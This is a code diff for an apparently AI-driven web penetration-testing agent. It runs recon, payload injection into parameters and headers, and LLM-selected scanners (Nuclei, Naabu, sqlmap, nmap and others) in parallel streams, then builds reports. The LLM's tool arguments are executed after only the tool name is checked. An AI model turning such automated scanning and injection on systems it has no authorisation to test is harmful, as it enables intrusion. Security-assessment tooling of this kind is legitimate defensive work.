self.log("warning", f">> SKIPPING Testing -> jumping to {skip_target}") + await self._update_progress(70, f"testing_skipped") + else: + await self.log("info", "[PHASE 3/5] Vulnerability Testing") + await self._test_all_vulnerabilities(attack_plan) + await self._update_progress(70, "Vulnerability testing complete") # Phase 4: AI Finding Enhancement - await self.log("info", "[PHASE 4/5] AI Finding Enhancement") - await self._ai_enhance_findings() - await self._update_progress(90, "Findings enhanced") + skip_target = self._check_skip("enhancement") + if skip_target: + await self.log("warning", f">> SKIPPING Enhancement -> jumping to {skip_target}") + await self._update_progress(90, f"enhancement_skipped") + else: + await self.log("info", "[PHASE 4/5] AI Finding Enhancement") + await self._ai_enhance_findings() + await self._update_progress(90, "Findings enhanced") # Phase 5: Report Generation await self.log("info", "[PHASE 5/5] Report Generation") @@ -1974,6 +2979,653 @@ NOT_VULNERABLE: """ return report + async def _run_sandbox_scan(self): + """Run Nuclei + Naabu via Docker sandbox if available.""" + if not HAS_SANDBOX: + await self.log("info", " Sandbox not available (docker SDK missing), skipping") + return + + try: + sandbox = await get_sandbox(scan_id=self.scan_id) + if not sandbox.is_available: + await self.log("info", " Sandbox container not running, skipping sandbox tools") + return + + await self.log("info", " [Sandbox] Running Nuclei vulnerability scanner...") + import time as _time + _nuclei_start = _time.time() + nuclei_result = await sandbox.run_nuclei( + target=self.target_url, + severity="critical,high,medium", + rate_limit=150, + timeout=600, + ) + _nuclei_duration = round(_time.time() - _nuclei_start, 2) + + # Track tool execution + self.tool_executions.append({ + "tool": "nuclei", + "command": f"nuclei -u {self.target_url} -severity critical,high,medium -rl 150", + "duration": _nuclei_duration, + "findings_count": len(nuclei_result.findings) if nuclei_result.findings else 0, + "stdout_preview": nuclei_result.stdout[:2000] if hasattr(nuclei_result, 'stdout') and nuclei_result.stdout else "", + "stderr_preview": nuclei_result.stderr[:500] if hasattr(nuclei_result, 'stderr') and nuclei_result.stderr else "", + "exit_code": getattr(nuclei_result, 'exit_code', 0), + }) + + if nuclei_result.findings: + await self.log("info", f" [Sandbox] Nuclei found {len(nuclei_result.findings)} issues ({_nuclei_duration}s)") + for nf in nuclei_result.findings: + # Import Nuclei findings as agent findings + vuln_type = nf.get("vulnerability_type", "vulnerability") + if vuln_type not in self.memory.tested_combinations: + await self._add_finding( + title=nf.get("title", "Nuclei Finding"), + severity=nf.get("severity", "info"), + vuln_type=vuln_type, + endpoint=nf.get("affected_endpoint", self.target_url), + evidence=f"Nuclei template: {nf.get('template_id', 'unknown')}. {nf.get('evidence', '')}", + ai_verified=False, + description=nf.get("description", ""), + remediation=nf.get("remediation", ""), + ) + else: + await self.log("info", f" [Sandbox] Nuclei: no findings ({_nuclei_duration}s)") + + # Naabu port scan + parsed = urlparse(self.target_url) + host = parsed.hostname or parsed.netloc + if host: + await self.log("info", " [Sandbox] Running Naabu port scanner...") + _naabu_start = _time.time() + naabu_result = await sandbox.run_naabu( + target=host, + top_ports=1000, + rate=1000, + timeout=120, + ) + _naabu_duration = round(_time.time() - _naabu_start, 2) + + # Track tool execution + self.tool_executions.append({ + "tool": "naabu", + "command": f"naabu -host {host} -top-ports 1000 -rate 1000", + "duration": _naabu_duration, + "findings_count": len(naabu_result.findings) if naabu_result.findings else 0, + "stdout_preview": naabu_result.stdout[:2000] if hasattr(naabu_result, 'stdout') and naabu_result.stdout else "", + "stderr_preview": naabu_result.stderr[:500] if hasattr(naabu_result, 'stderr') and naabu_result.stderr else "", + "exit_code": getattr(naabu_result, 'exit_code', 0), + }) + + if naabu_result.findings: + open_ports = [str(f["port"]) for f in naabu_result.findings] + await self.log("info", f" [Sandbox] Naabu found {len(open_ports)} open ports: {', '.join(open_ports[:20])} ({_naabu_duration}s)") + # Store port info in recon data + self.recon.technologies.append(f"Open ports: {', '.join(open_ports[:30])}") + else: + await self.log("info", " [Sandbox] Naabu: no open ports found") + + except Exception as e: + await self.log("warning", f" Sandbox scan error: {e}") + + async def _run_auto_pentest(self) -> Dict: + """Parallel auto pentest: 3 concurrent streams + deep analysis + report. + + Architecture: + Stream 1 (Recon) ──→ asyncio.Queue ──→ Stream 2 (Junior Pentester) + Stream 3 (Tool Runner) runs sandbox tools + AI-decided tools + All streams feed findings in real-time via callbacks. + + After parallel phase completes: + Deep Analysis: AI attack surface analysis + comprehensive 100-type testing + Finalization: Screenshots + AI enhancement + report generation + """ + await self._update_progress(0, "Auto pentest starting") + await self.log("info", "=" * 60) + await self.log("info", " PARALLEL AUTO PENTEST MODE") + await self.log("info", " 3 concurrent streams | AI-powered | 100 vuln types") + await self.log("info", "=" * 60) + + # Override custom_prompt with DEFAULT_ASSESSMENT_PROMPT for auto mode + if not self.custom_prompt: + self.custom_prompt = DEFAULT_ASSESSMENT_PROMPT + + # Shared state for parallel streams + self._endpoint_queue = asyncio.Queue() + self._recon_complete = asyncio.Event() + self._tools_complete = asyncio.Event() + self._stream_findings_count = 0 + self._junior_tested_types: set = set() + + # ── CONCURRENT PHASE (0-50%): 3 parallel streams ── + await asyncio.gather( + self._stream_recon(), # Stream 1: Recon pipeline + self._stream_junior_pentest(), # Stream 2: Immediate AI testing + self._stream_tool_runner(), # Stream 3: Dynamic tool execution + ) + + parallel_findings = len(self.findings) + await self.log("info", f" Parallel phase complete: {parallel_findings} findings, " + f"{len(self._junior_tested_types)} types pre-tested") + await self._update_progress(50, "Parallel streams complete") + + # ── DEEP ANALYSIS PHASE (50-75%): Full testing with complete context ── + await self.log("info", "[DEEP] AI Attack Surface Analysis + Comprehensive Testing") + attack_plan = await self._ai_analyze_attack_surface() + + # Merge AI-recommended types with default plan + default_plan = self._default_attack_plan() + ai_types = attack_plan.get("priority_vulns", []) + all_types = default_plan["priority_vulns"] + merged_types = list(dict.fromkeys(ai_types + all_types)) + + # Remove types already tested by junior pentest stream + remaining = [t for t in merged_types if t not in self._junior_tested_types] + attack_plan["priority_vulns"] = remaining + await self.log("info", f" {len(remaining)} remaining types " + f"({len(self._junior_tested_types)} already tested by junior)") + await self._update_progress(55, "Deep: attack surface analyzed") + + await self.log("info", "[DEEP] Comprehensive Vulnerability Testing") + await self._test_all_vulnerabilities(attack_plan) + await self._update_progress(75, "Deep testing complete") + + # ── FINALIZATION PHASE (75-100%) ── + await self.log("info", "[FINAL] Screenshot Capture") + for finding in self.findings: + if self.is_cancelled(): + break + if not finding.screenshots: + await self._capture_finding_screenshot(finding) + await self._update_progress(85, "Screenshots captured") + + await self.log("info", "[FINAL] AI Finding Enhancement") + await self._ai_enhance_findings() + await self._update_progress(92, "Findings enhanced") + + await self.log("info", "[FINAL] Report Generation") + report = await self._generate_full_report() + await self._update_progress(100, "Auto pentest complete") + + # Flush execution history + if hasattr(self, 'execution_history'): + self.execution_history.flush() + + await self.log("info", "=" * 60) + await self.log("info", f" AUTO PENTEST COMPLETE: {len(self.findings)} findings") + await self.log("info", "=" * 60) + + return report + + # ── Stream 1: Recon Pipeline ── + + async def _stream_recon(self): + """Stream 1: Reconnaissance — feeds discovered endpoints to testing stream.""" + try: + await self.log("info", "[STREAM 1] Recon pipeline starting") + await self._update_progress(2, "Recon: initial probe") + + # Phase 1: Initial probe + await self._initial_probe() + # Push initial endpoints to testing queue immediately + for ep in self.recon.endpoints: + await self._endpoint_queue.put(ep) + await self._update_progress(8, "Recon: crawling endpoints") + + if self.is_cancelled(): + return + + # Phase 2: Endpoint discovery + prev_count = len(self.recon.endpoints) + await self._discover_endpoints() + # Push newly discovered endpoints to queue + for ep in self.recon.endpoints[prev_count:]: + await self._endpoint_queue.put(ep) + await self._update_progress(15, "Recon: discovering parameters") + + if self.is_cancelled(): + return + + # Phase 3: Parameter discovery + await self._discover_parameters() + await self._update_progress(20, "Recon: technology detection") + + # Phase 4: Technology detection + await self._detect_technologies() + + # Phase 5: WAF detection + if self.waf_detector: + try: + self._waf_result = await self.waf_detector.detect(self.target) + if self._waf_result and self._waf_result.detected_wafs: + for w in self._waf_result.detected_wafs: + waf_label = f"WAF:{w.name} ({w.confidence:.0%})" + self.recon.technologies.append(waf_label) + await self.log("warning", f" [WAF] Detected: {w.name} " + f"(confidence: {w.confidence:.0%}, method: {w.detection_method})") + # Adjust request delay based on WAF recommendation + if self.request_engine and self._waf_result.recommended_delay > self.request_engine.default_delay: + self.request_engine.default_delay = self._waf_result.recommended_delay + await self.log("info", f" [WAF] Adjusted request delay to {self._waf_result.recommended_delay:.1f}s") + else: + await self.log("info", " [WAF] No WAF detected") + except Exception as e: + await self.log("debug", f" [WAF] Detection failed: {e}") + + ep_count = len(self.recon.endpoints) + param_count = sum(len(v) if isinstance(v, list) else 1 for v in self.recon.parameters.values()) + tech_count = len(self.recon.technologies) + await self.log("info", f" [STREAM 1] Recon complete: " + f"{ep_count} endpoints, {param_count} params, {tech_count} techs") + except Exception as e: + await self.log("warning", f" [STREAM 1] Recon error: {e}") + finally: + self._recon_complete.set() + + # ── Stream 2: Junior Pentester ── + + async def _stream_junior_pentest(self): + """Stream 2: Junior pentester — immediate testing + queue consumer. + + Starts testing the target URL right away without waiting for recon. + Then consumes endpoints from the queue as recon discovers them. + """ + try: + await self.log("info", "[STREAM 2] Junior pentester starting") + + # Priority vulnerability types to test immediately + priority_types = [ + "xss_reflected", "sqli_error", "sqli_blind", "command_injection", + "lfi", "path_traversal", "open_redirect", "ssti", + "crlf_injection", "ssrf", "xxe", + ] + + # Ask AI for initial prioritization (quick call) + if self.llm.is_available(): + try: + junior_prompt = ( + f"You are a junior penetration tester. Target: {self.target}\n" + f"What are the 5-10 most likely vulnerability types to test first?\n" + f"Respond ONLY with JSON: {{\"test_types\": [\"type1\", \"type2\", ...]}}" + ) + ai_resp = await self.llm.generate( + junior_prompt, + system=get_system_prompt("strategy") + ) + start_idx = ai_resp.index('{') + end_idx = ai_resp.rindex('}') + 1 + data = json.loads(ai_resp[start_idx:end_idx]) + ai_types = [t for t in data.get("test_types", []) + if t in self.VULN_TYPE_MAP] + if ai_types: + priority_types = list(dict.fromkeys(ai_types + priority_types)) + await self.log("info", f" [STREAM 2] AI prioritized: {', '.join(ai_types[:5])}") + except Exception: + pass # Use defaults + + # ── IMMEDIATE: Test target URL with priority vulns ── + await self.log("info", f" [STREAM 2] Immediate testing: " + f"{len(priority_types[:15])} priority types on target") + for vtype in priority_types[:15]: + if self.is_cancelled(): + return + self._junior_tested_types.add(vtype) + try: + await self._junior_test_single(self.target, vtype) + except Exception: + pass + await self._update_progress(30, "Junior: initial tests done") + + # ── QUEUE CONSUMER: Test endpoints as recon discovers them ── + await self.log("info", " [STREAM 2] Consuming endpoint queue from recon") + tested_urls = {self.target} + while True: + if self.is_cancelled(): + return + try: + ep = await asyncio.wait_for(self._endpoint_queue.get(), timeout=3.0) + url = ep.get("url", ep) if isinstance(ep, dict) else str(ep) + if url and url not in tested_urls and url.startswith("http"): + tested_urls.add(url) + # Quick test top 5 types on each new endpoint + for vtype in priority_types[:5]: + if self.is_cancelled(): + return + try: + await self._junior_test_single(url, vtype) + except Exception: + pass + except asyncio.TimeoutError: + if self._recon_complete.is_set() and self._endpoint_queue.empty(): + break + continue + + await self.log("info", f" [STREAM 2] Junior complete: " + f"{self._stream_findings_count} findings from {len(tested_urls)} URLs") + except Exception as e: + await self.log("warning", f" [STREAM 2] Junior error: {e}") + + async def _junior_test_single(self, url: str, vuln_type: str): + """Quick single-type test (max 3 payloads) for junior pentester stream.""" + if self.is_cancelled(): + return + + # Get endpoint params from recon if available + parsed = urlparse(url) + params_raw = self.recon.parameters.get(url, {}) + if isinstance(params_raw, dict): + params = list(params_raw.keys())[:3] + elif isinstance(params_raw, list): + params = params_raw[:3] + else: + params = [] + if not params: + params = list(parse_qs(parsed.query).keys())[:3] + if not params: + params = ["id", "q", "search"] # Defaults + + # Use limited payloads for speed + payloads = self._get_payloads(vuln_type)[:3] + if not payloads: + return + + method = "GET" + injection_config = self.VULN_INJECTION_POINTS.get(vuln_type, {"point": "parameter"}) + inj_point = injection_config.get("point", "parameter") + # For "both" types, just test params in junior mode + if inj_point == "both": + inj_point = "parameter" + + for param in params[:2]: + if self.is_cancelled(): + return + if self.memory.was_tested(url, param, vuln_type): + continue + for payload in payloads: + if self.is_cancelled(): + return + header_name = "" + if inj_point == "header": + headers_list = injection_config.get("headers", ["X-Forwarded-For"]) + header_name = headers_list[0] if headers_list else "X-Forwarded-For" + + test_resp = await self._make_request_with_injection( + url, method, payload, + injection_point=inj_point, + param_name=param, + header_name=header_name, + ) + if not test_resp: + continue + + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp + ) + if is_vuln: + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + vuln_type, url, param, payload, evidence, test_resp, + injection_point=inj_point + ) + if finding: + await self._add_finding(finding) + self._stream_findings_count += 1 + return # One finding per type per URL is enough for junior + + self.memory.record_test(url, param, vuln_type, [payload], False) + + # ── Stream 3: Dynamic Tool Runner ── + + async def _stream_tool_runner(self): + """Stream 3: Dynamic tool execution (sandbox + AI-decided tools). + + Runs core tools (Nuclei/Naabu) immediately, then waits for recon + to complete before asking AI which additional tools to run. + """ + try: + await self.log("info", "[STREAM 3] Tool runner starting") + + # Run core tools immediately (don't wait for recon) + await self._run_sandbox_scan() # Nuclei + Naabu + + if self.is_cancelled(): + return + + # Wait for recon to have tech data before AI tool decisions + try: + await asyncio.wait_for(self._recon_complete.wait(), timeout=120) + except asyncio.TimeoutError: + await self.log("warning", " [STREAM 3] Timeout waiting for recon, proceeding") + + if self.is_cancelled(): + return + + # AI-driven tool selection based on discovered tech stack + tool_decisions = await self._ai_decide_tools() + + if tool_decisions: + await self.log("info", f" [STREAM 3] AI selected " + f"{len(tool_decisions)} additional tools") + for decision in tool_decisions[:5]: + if self.is_cancelled(): + return + await self._execute_dynamic_tool(decision) + + await self.log("info", " [STREAM 3] Tool runner complete") + except Exception as e: + await self.log("warning", f" [STREAM 3] Tool error: {e}") + finally: + self._tools_complete.set() + + # ── AI Tool Decision Engine ── + + async def _ai_decide_tools(self) -> List[Dict]: + """Ask AI which additional tools to run based on discovered tech stack.""" + if not self.llm.is_available(): + return [] + + tech_str = ", ".join(self.recon.technologies[:20]) or "unknown" + endpoints_preview = "\n".join( + f" - {ep.get('url', ep) if isinstance(ep, dict) else ep}" + for ep in (self.recon.endpoints[:15] + if self.recon.endpoints else [{"url": self.target}]) + ) + + prompt = f"""You are a senior penetration tester planning tool usage. + +Target: {self.target} +Technologies detected: {tech_str} +Endpoints discovered: +{endpoints_preview} + +Available tools in our sandbox (choose from these ONLY): +- nmap (network scanner with scripts) +- httpx (HTTP probing + tech detection) +- subfinder (subdomain enumeration) +- katana (web crawler) +- dalfox (XSS scanner) +- nikto (web server scanner) +- sqlmap (SQL injection automation) +- ffuf (web fuzzer) +- gobuster (directory brute-forcer) +- dnsx (DNS toolkit) +- whatweb (technology fingerprinting) +- wafw00f (WAF detection) +- arjun (parameter discovery) + +NOTE: nuclei and naabu already ran. Pick 1-3 MOST USEFUL additional tools. +For each tool, provide the exact command-line arguments for {self.target}. + +Respond ONLY with a JSON array: +[{{"tool": "tool_name", "args": "-flags {self.target}", "reason": "brief reason"}}]""" + + try: + resp = await self.llm.generate( + prompt, + system=get_system_prompt("strategy") + ) + start = resp.index('[') + end = resp.rindex(']') + 1 + decisions = json.loads(resp[start:end]) + # Validate tool names against allowed set + allowed = {"nmap", "httpx", "subfinder", "katana", "dalfox", "nikto", + "sqlmap", "ffuf", "gobuster", "dnsx", "whatweb", "wafw00f", "arjun"} + validated = [d for d in decisions + if isinstance(d, dict) and d.get("tool") in allowed] + return validated[:5] + except Exception as e: + await self.log("info", f" [STREAM 3] AI tool selection skipped: {e}") + return [] + + async def _execute_dynamic_tool(self, decision: Dict): + """Execute an AI-selected tool in the sandbox.""" + tool_name = decision.get("tool", "") + args = decision.get("args", "") + reason = decision.get("reason", "") + + await self.log("info", f" [TOOL] Running {tool_name}: {reason}") + + try: + if not HAS_SANDBOX: + await self.log("info", f" [TOOL] Sandbox unavailable, skipping {tool_name}") + return + + if not hasattr(self, '_sandbox') or self._sandbox is None: + self._sandbox = await get_sandbox(scan_id=self.scan_id) + + if not self._sandbox.is_available: + await self.log("info", f" [TOOL] Sandbox not running, skipping {tool_name}") + return + + # Execute with safety timeout + result = await self._sandbox.run_tool(tool_name, args, timeout=180) + + # Track tool execution + self.tool_executions.append({ + "tool": tool_name, + "command": f"{tool_name} {args}", + "reason": reason, + "duration": result.duration_seconds, + "exit_code": result.exit_code, + "findings_count": len(result.findings) if result.findings else 0, + "stdout_preview": (result.stdout or "")[:500], + }) + + # Process findings from tool + if result.findings: + await self.log("info", f" [TOOL] {tool_name}: " + f"{len(result.findings)} findings") + for tool_finding in result.findings[:20]: + await self._process_tool_finding(tool_finding, tool_name) + else: + await self.log("info", f" [TOOL] {tool_name}: completed " + f"({result.duration_seconds:.1f}s, no findings)") + + # Feed tool output back into recon context + self._ingest_tool_results(tool_name, result) + + except Exception as e: + await self.log("warning", f" [TOOL] {tool_name} failed: {e}") + + def _ingest_tool_results(self, tool_name: str, result): + """Feed tool output back into recon context for richer analysis.""" + if not result or not result.findings: + return + + if tool_name == "httpx": + for f in result.findings: + if f.get("url"): + self.recon.endpoints.append({ + "url": f["url"], + "status": f.get("status_code", 0) + }) + for tech in f.get("technologies", []): + if tech not in self.recon.technologies: + self.recon.technologies.append(tech) + elif tool_name == "subfinder": + for f in result.findings: + sub = f.get("subdomain", "") + if sub and sub not in self.recon.subdomains: + self.recon.subdomains.append(sub) + elif tool_name in ("katana", "gobuster", "ffuf"): + for f in result.findings: + url = f.get("url", f.get("path", "")) + if url: + self.recon.endpoints.append({ + "url": url, + "status": f.get("status_code", 200) + }) + elif tool_name == "wafw00f" and result.stdout: + waf_info = f"WAF: {result.stdout.strip()[:100]}" + if waf_info not in self.recon.technologies: + self.recon.technologies.append(waf_info) + elif tool_name == "arjun": + for f in result.findings: + url = f.get("url", self.target) + params = f.get("params", []) + if url not in self.recon.parameters: + self.recon.parameters[url] = params + elif isinstance(self.recon.parameters[url], list): + self.recon.parameters[url].extend(params) + elif tool_name == "whatweb": + for f in result.findings: + for tech in f.get("technologies", []): + if tech not in self.recon.technologies: + self.recon.technologies.append(tech) + + async def _process_tool_finding(self, tool_finding: Dict, tool_name: str): + """Convert a tool-generated finding into an agent Finding.""" + title = tool_finding.get("title", f"{tool_name} finding") + severity = tool_finding.get("severity", "info") + vuln_type = tool_finding.get("vulnerability_type", "vulnerability") + endpoint = tool_finding.get("affected_endpoint", + tool_finding.get("url", self.target)) + evidence = tool_finding.get("evidence", + tool_finding.get("matcher-name", "")) + + # Map to our vuln type system + mapped_type = self.VULN_TYPE_MAP.get(vuln_type, vuln_type) + + # Check for duplicates + if self.memory.has_finding_for(mapped_type, endpoint, ""): + return + + finding_hash = hashlib.md5( + f"{mapped_type}{endpoint}".encode() + ).hexdigest()[:8] + + finding = Finding( + id=finding_hash, + title=f"[{tool_name.upper()}] {title}", + severity=severity, + vulnerability_type=mapped_type, + affected_endpoint=endpoint, + evidence=evidence or f"Detected by {tool_name}", + description=tool_finding.get("description", ""), + remediation=tool_finding.get("remediation", ""), + references=tool_finding.get("references", []), + ai_verified=False, + confidence="medium", + ) + + # Pull metadata from registry if available + try: + info = self.vuln_registry.get_vulnerability_info(mapped_type) + if info: + finding.cwe_id = finding.cwe_id or info.get("cwe_id", "") + finding.cvss_score = finding.cvss_score or self._CVSS_SCORES.get(mapped_type, 0.0) + finding.cvss_vector = finding.cvss_vector or self._CVSS_VECTORS.get(mapped_type, "") + except Exception: + pass + + # Generate PoC + finding.poc_code = self.poc_generator.generate( + mapped_type, endpoint, "", "", evidence + ) + + await self._add_finding(finding) + self._stream_findings_count += 1 + async def _ai_analyze_attack_surface(self) -> Dict: """Use AI to analyze attack surface""" if not self.llm.is_available(): @@ -2008,7 +3660,7 @@ NOT_VULNERABLE: """ Target: {self.target} Scope: Web Application Security Assessment -User Instructions: {self.custom_prompt or 'Comprehensive security assessment'} +User Instructions: {self.custom_prompt or DEFAULT_ASSESSMENT_PROMPT[:500]} **Reconnaissance Summary:** @@ -2024,17 +3676,92 @@ Parameters Identified: {list(self.recon.parameters.keys())[:15] if self.recon.pa API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'None identified'}""" + # Build available vuln types from knowledge base + available_types = list(self.vuln_registry.VULNERABILITY_INFO.keys()) + kb_categories = self.knowledge_base.get("category_mappings", {}) + xbow_insights = self.knowledge_base.get("xbow_insights", {}) + + # Execution history context (cross-scan learning) + history_context = "" + history_priority_str = "" + if self.execution_history: + try: + history_context = self.execution_history.get_stats_for_prompt( + self.recon.technologies + ) + history_priority = self.execution_history.get_priority_types( + self.recon.technologies, top_n=10 + ) + if history_priority: + history_priority_str = ( + f"\n**Historically Effective Types for this tech stack:** " + f"{', '.join(history_priority[:10])}" + ) + except Exception: + pass + + # Access control learning context (adaptive BOLA/BFLA/IDOR patterns) + acl_context = "" + if self.access_control_learner: + try: + domain = urlparse(self.target).netloc + for acl_type in ["bola", "bfla", "idor", "privilege_escalation"]: + ctx = self.access_control_learner.get_learning_context(acl_type, domain) + if ctx: + acl_context += ctx + "\n" + except Exception: + pass + + # Knowledge augmentation from bug bounty patterns + knowledge_context = "" + try: + from core.knowledge_augmentor import KnowledgeAugmentor + augmentor = KnowledgeAugmentor() + for tech in self.recon.technologies[:3]: + patterns = augmentor.get_relevant_patterns( + vuln_type=None, technologies=[tech] + ) + if patterns: + knowledge_context += patterns[:500] + "\n" + except Exception: + pass + prompt = f"""Analyze this attack surface and create a prioritized, focused testing plan. {context} +**Available Vulnerability Types (100 types from VulnEngine):** +{', '.join(available_types)} + +**Vulnerability Categories:** +{json.dumps(kb_categories, indent=2)} + +**XBOW Benchmark Insights:** +- Default credentials: Check admin panels with {xbow_insights.get('default_credentials', {}).get('common_creds', [])[:5]} +- Deserialization: Watch for {xbow_insights.get('deserialization', {}).get('frameworks', [])} +- Business logic: Test for {xbow_insights.get('business_logic', {}).get('patterns', [])} +- IDOR techniques: {xbow_insights.get('idor', {}).get('techniques', [])} +{f''' +**Historical Attack Success Rates (technology → vuln type: successes/total):** +{history_context} +{history_priority_str}''' if history_context else ''} +{f''' +**Bug Bounty Pattern Context:** +{knowledge_context[:800]}''' if knowledge_context else ''} +{f''' +**Access Control Learning (Adaptive BOLA/BFLA/IDOR Patterns):** +{acl_context[:800]}''' if acl_context else ''} + **Analysis Requirements:** 1. **Technology-Based Prioritization:** - - If PHP detected → prioritize LFI, RCE, Type Juggling - - If ASP.NET/Java → prioritize Deserialization, XXE - - If Node.js → prioritize Prototype Pollution, SSRF - - If API/REST → prioritize IDOR, Mass Assignment, JWT issues + - If PHP detected → lfi, command_injection, ssti, sqli_error, file_upload, path_traversal + - If ASP.NET/Java → xxe, insecure_deserialization, expression_language_injection, file_upload, sqli_error + - If Node.js → nosql_injection, ssrf, prototype_pollution, ssti, command_injection + - If Python/Django/Flask → ssti, command_injection, idor, mass_assignment + - If API/REST → idor, bola, bfla, jwt_manipulation, auth_bypass, mass_assignment, rate_limit_bypass + - If GraphQL → graphql_introspection, graphql_injection, graphql_dos + - Always include: security_headers, cors_misconfig, clickjacking, ssl_issues 2. **High-Risk Endpoint Identification:** - Login/authentication endpoints @@ -2053,9 +3780,11 @@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N - Chained attack scenarios - Business logic flaws to test +**IMPORTANT:** Use the exact vulnerability type names from the available types list above. + **Respond in JSON format:** {{ - "priority_vulns": ["sqli", "xss", "idor", "lfi"], + "priority_vulns": ["sqli_error", "xss_reflected", "idor", "lfi", "security_headers"], "high_risk_endpoints": ["/api/users", "/admin/upload"], "focus_parameters": ["id", "file", "redirect"], "attack_vectors": [ @@ -2068,7 +3797,7 @@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N try: response = await self.llm.generate(prompt, - "You are an experienced penetration tester planning an assessment. Prioritize based on real-world attack patterns and the specific technologies detected. Be specific and actionable.") + get_system_prompt("strategy")) match = re.search(r'\{.*\}', response, re.DOTALL) if match: return json.loads(match.group()) @@ -2078,18 +3807,133 @@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N return self._default_attack_plan() def _default_attack_plan(self) -> Dict: - """Default attack plan""" + """Default attack plan with 5-tier coverage (100 vuln types)""" return { - "priority_vulns": ["sqli", "xss", "lfi", "ssti", "ssrf"], + "priority_vulns": [ + # P1 - Critical: RCE, SQLi, auth bypass — immediate full compromise + "sqli_error", "sqli_union", "command_injection", "ssti", + "auth_bypass", "insecure_deserialization", "rfi", "file_upload", + # P2 - High: data access, SSRF, privilege issues + "xss_reflected", "xss_stored", "lfi", "ssrf", "ssrf_cloud", + "xxe", "path_traversal", "idor", "bola", + "sqli_blind", "sqli_time", "jwt_manipulation", + "privilege_escalation", "arbitrary_file_read", + # P3 - Medium: injection variants, logic, auth weaknesses + "nosql_injection", "ldap_injection", "xpath_injection", + "blind_xss", "xss_dom", "cors_misconfig", "csrf", + "open_redirect", "session_fixation", "bfla", + "mass_assignment", "race_condition", "host_header_injection", + "http_smuggling", "subdomain_takeover", + # P4 - Low: config, client-side, data exposure + "security_headers", "clickjacking", "http_methods", "ssl_issues", + "directory_listing", "debug_mode", "exposed_admin_panel", + "exposed_api_docs", "insecure_cookie_flags", + "sensitive_data_exposure", "information_disclosure", + "api_key_exposure", "version_disclosure", + "crlf_injection", "header_injection", "prototype_pollution", + # P5 - Info/AI-driven: supply chain, crypto, cloud, niche + "graphql_introspection", "graphql_dos", "graphql_injection", + "cache_poisoning", "parameter_pollution", "type_juggling", + "business_logic", "rate_limit_bypass", "timing_attack", + "weak_encryption", "weak_hashing", "cleartext_transmission", + "vulnerable_dependency", "s3_bucket_misconfiguration", + "cloud_metadata_exposure", "soap_injection", + "source_code_disclosure", "backup_file_exposure", + "csv_injection", "html_injection", "log_injection", + "email_injection", "expression_language_injection", + "mutation_xss", "dom_clobbering", "postmessage_vulnerability", + "websocket_hijacking", "css_injection", "tabnabbing", + "default_credentials", "weak_password", "brute_force", + "two_factor_bypass", "oauth_misconfiguration", + "forced_browsing", "arbitrary_file_delete", "zip_slip", + "orm_injection", "improper_error_handling", + "weak_random", "insecure_cdn", "outdated_component", + "container_escape", "serverless_misconfiguration", + "rest_api_versioning", "api_rate_limiting", + "excessive_data_exposure", + ], "high_risk_endpoints": [_get_endpoint_url(e) for e in self.recon.endpoints[:10]], "focus_parameters": [], "attack_vectors": [] } + # Types that need parameter injection testing (payload → param → endpoint) + INJECTION_TYPES = { + # SQL injection + "sqli_error", "sqli_union", "sqli_blind", "sqli_time", + # XSS + "xss_reflected", "xss_stored", "xss_dom", "blind_xss", "mutation_xss", + # Command/template + "command_injection", "ssti", "expression_language_injection", + # NoSQL/LDAP/XPath/ORM + "nosql_injection", "ldap_injection", "xpath_injection", + "orm_injection", "graphql_injection", + # File access + "lfi", "rfi", "path_traversal", "xxe", "arbitrary_file_read", + # SSRF/redirect + "ssrf", "ssrf_cloud", "open_redirect", + # Header/protocol injection + "crlf_injection", "header_injection", "host_header_injection", + "http_smuggling", "parameter_pollution", + # Other injection-based + "log_injection", "html_injection", "csv_injection", + "email_injection", "prototype_pollution", "soap_injection", + "type_juggling", "cache_poisoning", + } + + # Types tested via header/response inspection (no payload injection needed) + INSPECTION_TYPES = { + "security_headers", "clickjacking", "http_methods", "ssl_issues", + "cors_misconfig", "csrf", + "directory_listing", "debug_mode", "exposed_admin_panel", + "exposed_api_docs", "insecure_cookie_flags", + "sensitive_data_exposure", "information_disclosure", + "api_key_exposure", "version_disclosure", + "cleartext_transmission", "weak_encryption", "weak_hashing", + "source_code_disclosure", "backup_file_exposure", + "graphql_introspection", + } + + # Injection point routing: where to inject payloads for each vuln type + # Types not listed here default to "parameter" injection + VULN_INJECTION_POINTS = { + # Header-based injection + "crlf_injection": {"point": "header", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]}, + "header_injection": {"point": "header", "headers": ["X-Forwarded-For", "Referer", "X-Custom-Header"]}, + "host_header_injection": {"point": "header", "headers": ["Host", "X-Forwarded-Host", "X-Host"]}, + "http_smuggling": {"point": "header", "headers": ["Transfer-Encoding", "Content-Length"]}, + # Path-based injection + "path_traversal": {"point": "both", "path_prefix": True}, + "lfi": {"point": "both", "path_prefix": True}, + # Body-based injection (XML) + "xxe": {"point": "body", "content_type": "application/xml"}, + # Parameter-based remains default for all other types + } + + # Types requiring AI-driven analysis (no simple payload/inspection test) + AI_DRIVEN_TYPES = { + "auth_bypass", "jwt_manipulation", "session_fixation", + "weak_password", "default_credentials", "brute_force", + "two_factor_bypass", "oauth_misconfiguration", + "idor", "bola", "bfla", "privilege_escalation", + "mass_assignment", "forced_browsing", + "race_condition", "business_logic", "rate_limit_bypass", + "timing_attack", "insecure_deserialization", + "file_upload", "arbitrary_file_delete", "zip_slip", + "dom_clobbering", "postmessage_vulnerability", + "websocket_hijacking", "css_injection", "tabnabbing", + "subdomain_takeover", "cloud_metadata_exposure", + "s3_bucket_misconfiguration", "serverless_misconfiguration", + "container_escape", "vulnerable_dependency", "outdated_component", + "insecure_cdn", "weak_random", + "graphql_dos", "rest_api_versioning", "api_rate_limiting", + "excessive_data_exposure", "improper_error_handling", + } + async def _test_all_vulnerabilities(self, plan: Dict): - """Test for all vulnerability types""" - vuln_types = plan.get("priority_vulns", ["sqli", "xss", "lfi", "ssti"]) - await self.log("info", f" Testing for: {', '.join(vuln_types)}") + """Test for all vulnerability types (100-type coverage)""" + vuln_types = plan.get("priority_vulns", list(self._default_attack_plan()["priority_vulns"])) + await self.log("info", f" Testing {len(vuln_types)} vulnerability types") # Get testable endpoints test_targets = [] @@ -2101,7 +3945,6 